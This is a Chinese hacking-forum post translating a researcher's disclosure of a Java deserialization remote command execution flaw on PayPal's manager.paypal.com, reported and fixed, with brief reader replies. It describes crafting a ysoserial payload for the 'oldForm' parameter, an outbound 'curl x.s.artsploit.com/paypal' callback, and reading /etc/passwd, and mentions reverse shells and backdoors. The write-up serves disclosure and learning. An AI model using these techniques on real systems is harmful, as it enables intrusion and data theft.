查看: 18543|回复: 5

PayPal远程命令执行漏洞分析

[复制链接]
发表于 2016-1-26 21:26:39 | 显示全部楼层 |阅读模式
本帖最后由 90_ 于 2016-1-27 12:36 编辑

2015年12月,笔者在PayPal的某个分站中发现了一个能够远程执行任意shell命令的java反序列化漏洞,并且能够影响到PayPal的产品数据库。我马上将该漏洞提交给了PayPal,并且很快得到了修复。
  漏洞细节
  
  在测试manager.paypal.com这个站点时,我的注意力被post提交中的不寻常的参数“oldForm”所吸引,这个参数的内容就像是base64解码后的复杂对象。
  在经过一些研究之后,我意识到这就是能被应用处理的没有经过签名的java序列化对象。这意味着你能将存在的class序列化后提交给服务器,然后“readObject”(或者“readResolve”)方法会被调用来解析该序列化的对象。为了利用这个漏洞,你需要在应用的 “classpath” 中找到一个能被序列化的合适的class,并且能被“readObject”所解析。你可以从FoxGlove Security的文章中了解更多相关的技术细节。一年前,Chris Frohoff和Gabriel Lawrence在Apache Common Collection这个库中发现了能够导致远程命令执行的合适的classes,然后也发布了“ysoserial”这个payload生成器。

漏洞证明
  我马上下载了上面说到的这个工具,然后生成了一个简单的payload,这个payload会执行“curl x.s.artsploit.com/paypal”这个shell命令,然后会发送DNS和http请求到我自己的服务器。
  
  然后我在post请求的“oldFormData”参数中填入base64编码后的payload,发送给了服务器。在那之后,令我印象深刻的是在我的NGINX access log中发现了来自PayPal 的请求。
  
  我意识到我能在manager.paypal.com这个服务器上执行任意的命令,甚至我能反弹一个shell权限到我自己的服务器,然后上传和执行一个后门程序。结果会是通过manager.paypal.com这个网站,我能获取到paypal的production数据库。
  但是我没有像上面说的那么去做,我只是读取了“/etc/passwd”的内容作为漏洞的验证。
  我还捣鼓了一个如果复现该漏洞的视频提交给了PayPal安全团队。然后,我还发现了manager.paypal.com的其他很多地方也使用了序列化对象,并且能够被利用。
  
  Demo视频
http://v.qq.com/iframe/player.html?vid=h0182pecish&tiny=0&auto=0

  *原文地址:artsploit
回复

使用道具 举报

发表于 2016-1-26 22:32:09 | 显示全部楼层
学习了~
回复 支持 反对

使用道具 举报

发表于 2016-1-26 23:27:40 | 显示全部楼层
学习了!
回复 支持 反对

使用道具 举报

发表于 2016-1-27 11:09:53 | 显示全部楼层
厉害
回复 支持 反对

使用道具 举报

发表于 2016-1-28 22:22:08 | 显示全部楼层
学习了~              
回复 支持 反对

使用道具 举报

发表于 2016-2-26 21:38:50 | 显示全部楼层
学习了~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-4-30 20:24 , Processed in 0.183306 second(s), 19 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部